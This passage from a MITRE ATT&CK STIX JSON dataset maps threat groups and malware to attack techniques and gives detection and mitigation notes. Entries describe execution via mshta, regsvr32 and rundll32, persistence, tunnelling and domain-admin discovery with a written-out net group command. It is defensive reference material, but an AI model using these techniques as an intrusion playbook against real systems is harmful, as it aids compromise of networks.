16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-20T19:33:24.058Z", "description": "(Citation: Proofpoint TA2541 February 2022)(Citation: Morphisec Snip3 May 2021)(Citation: Cisco Operation Layover September 2021)(Citation: Telefonica Snip3 December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "tool--6a5947f3-1a36-4653-8734-526df3e1d28d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--bc9a5286-98a6-4905-b4ce-8f4d958861b6", "created": "2019-01-29T17:59:44.434Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Zeus Panda Nov 2017", "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More"}, {"source_name": "GDATA Zeus Panda June 2017", "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:31:26.436Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) encrypts strings with XOR. [Zeus Panda](https://attack.mitre.org/software/S0330) also encrypts all configuration and settings in AES and RC4.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", "source_name": "FireEye Operation Double Tap"}], "modified": "2019-04-29T18:01:20.434Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that creates a new service for persistence.(Citation: FireEye Operation Double Tap)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bca618ac-7867-4dc4-b683-ae3f61addc68", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. 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Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used mshta.exe to execute malicious VBScript.(Citation: TrendMicro Confucius APT Feb 2018) ", "modified": "2022-04-18T12:38:31.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c", "type": "relationship", "created": "2019-02-12T16:33:29.284Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "source_name": "ESET Zebrocy May 2019"}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). 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Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T18:11:01.490Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors employed code that used `regsvr32` for execution.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcc48bba-95a6-465b-ad37-90e2faee5707", "type": "relationship", "created": "2019-01-29T19:55:48.154Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. 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(2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: FireEye EPS Awakens Part 2)", "modified": "2022-07-26T23:33:26.362Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", "target_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcd2cfa1-793c-40a7-9920-614539e651a7", "type": "relationship", "created": "2020-06-29T02:52:31.516Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). 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Retrieved June 15, 2020."}], "modified": "2020-06-29T02:52:31.516Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net group \"Domain Admins\" /domain</code> to identify domain administrators.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcd496b7-7e6a-483b-b1d4-f7dc935a563d", "type": "relationship", "created": "2020-09-23T20:30:55.971Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave Pillowmint June 2020", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", "description": "Trustwave SpiderLabs. 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Retrieved June 2, 2020."}], "modified": "2020-06-02T19:40:02.004Z", "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bced764f-e4f1-43d0-af3b-ae93d607041a", "type": "relationship", "created": "2020-03-16T15:23:31.073Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-16T15:23:31.073Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcedecdf-e98d-4cf7-84a4-d4769a10858d", "type": "relationship", "created": "2020-11-10T19:27:14.615Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. 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Retrieved November 9, 2020."}], "modified": "2020-11-10T19:27:14.615Z", "description": "[Javali](https://attack.mitre.org/software/S0528) can read C2 information from Google Documents and YouTube.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--64122557-5940-4271-9123-25bfc0c693db", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcee03c4-6420-4280-8212-c8aa44a13730", "type": "relationship", "created": "2021-06-18T15:26:55.646Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Siloscape Jun 2021", "url": "https://unit42.paloaltonetworks.com/siloscape/", "description": "Prizmant, D. (2021, June 7). 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Retrieved June 9, 2021."}], "modified": "2021-08-30T18:53:02.072Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster.(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bcee230a-c671-4c71-afbf-d6216aeee5b6", "type": "relationship", "created": "2022-03-23T16:57:13.807Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. 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Retrieved February 17, 2022."}, {"source_name": "TrendMicro Gamaredon April 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."}, {"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. 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(2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."}, {"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}, {"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."}], "modified": "2020-12-29T20:23:05.374Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as [ngrok](https://attack.mitre.org/software/S0508) and custom tool SSHMinion.(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--bdafc5be-8887-4a16-993c-3e248373902b", "created": "2024-02-12T19:19:40.934Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T19:19:40.934Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has used cmd.exe for execution on compromised systems.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bdb0d192-3d82-4e5b-92bc-7ef24fd3e65b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2020-03-18T20:37:22.672Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bdb7f4c5-3620-479b-af38-95f42e82fb68", "type": "relationship", "created": "2019-09-13T13:21:50.820Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}], "modified": "2019-10-07T15:16:12.002Z", "description": "[Machete](https://attack.mitre.org/software/S0409) has sent data over HTTP if FTP failed, and has also used a fallback server.(Citation: ESET Machete July 2019) ", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bdb9f6a6-7fe0-47e5-b708-3cb92360f6f9", "type": "relationship", "created": "2021-03-12T18:46:47.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.275Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) has executed downloaded DLLs with <code>rundll32.exe</code>.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bdbd9cce-7d32-4e87-8036-3e602a3783b9", "type": "relationship", "created": "2019-10-11T17:29:20.306Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList Griffon May 2019", "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019."}], "modified": "2019-10-15T17:32:49.774Z", "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a persistence module that stores the implant inside the Registry, which executes at logon.(Citation: SecureList Griffon May 2019)", "relationship_type": "uses", "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bdbeae2f-178a-40be-a9d4-14278f0036af", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. 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Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}, {"source_name": "FireEye SUNBURST Additional Details Dec 2020", "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. 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Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:37.291Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has disguised a file as a Linux kernel module.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be2798b5-a9bc-409d-bdf5-eaca8f2eb94e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", "source_name": "Symantec Thrip June 2018"}], "modified": "2019-03-25T17:06:37.182Z", "description": "(Citation: Symantec Thrip June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", "target_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be2d0ead-f24c-4b76-bdd9-695d163bcbf3", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellMafia/PowerSploit", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "source_name": "GitHub PowerSploit May 2012"}, {"url": "http://powersploit.readthedocs.io", "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", "source_name": "PowerSploit Documentation"}], "modified": "2019-04-24T23:43:08.105Z", "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Install-SSP</code> Persistence module can be used to establish by installing a SSP DLL.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", "relationship_type": "uses", "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be301c77-e0ae-4207-9808-e4037be573f5", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be30816a-854a-4568-ade5-8baa60fa087c", "type": "relationship", "created": "2020-03-19T22:23:33.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Astaroth Feb 2019", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}], "modified": "2020-03-19T22:23:33.601Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye POSHSPY April 2017", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}], "modified": "2019-04-24T23:41:40.097Z", "description": "[POSHSPY](https://attack.mitre.org/software/S0150) downloads and executes additional PowerShell code and Windows binaries.(Citation: FireEye POSHSPY April 2017)", "relationship_type": "uses", "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be34e043-48a0-4192-a877-e8520a2800cc", "type": "relationship", "created": "2019-11-27T13:52:46.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-11T14:36:25.006Z", "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. In Linux environments, users account-level access to <code>[at](https://attack.mitre.org/software/S0110)</code> can be managed using <code>at.allow</code> and <code>at.deny</code> files. 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Retrieved January 20, 2021."}, {"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-04-14T16:08:33.708Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567)\u2019s dropper can list all running processes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be36df4d-4180-4271-ae0a-a7677df40261", "type": "relationship", "created": "2020-01-24T14:13:46.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-20T18:01:52.345Z", "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be4040ce-c8cf-408d-b126-0954bbc1545b", "type": "relationship", "created": "2021-12-07T18:27:04.774Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Arp", "description": "Microsoft. (n.d.). Arp. Retrieved April 17, 2016.", "url": "https://technet.microsoft.com/en-us/library/bb490864.aspx"}, {"source_name": "Palo Alto 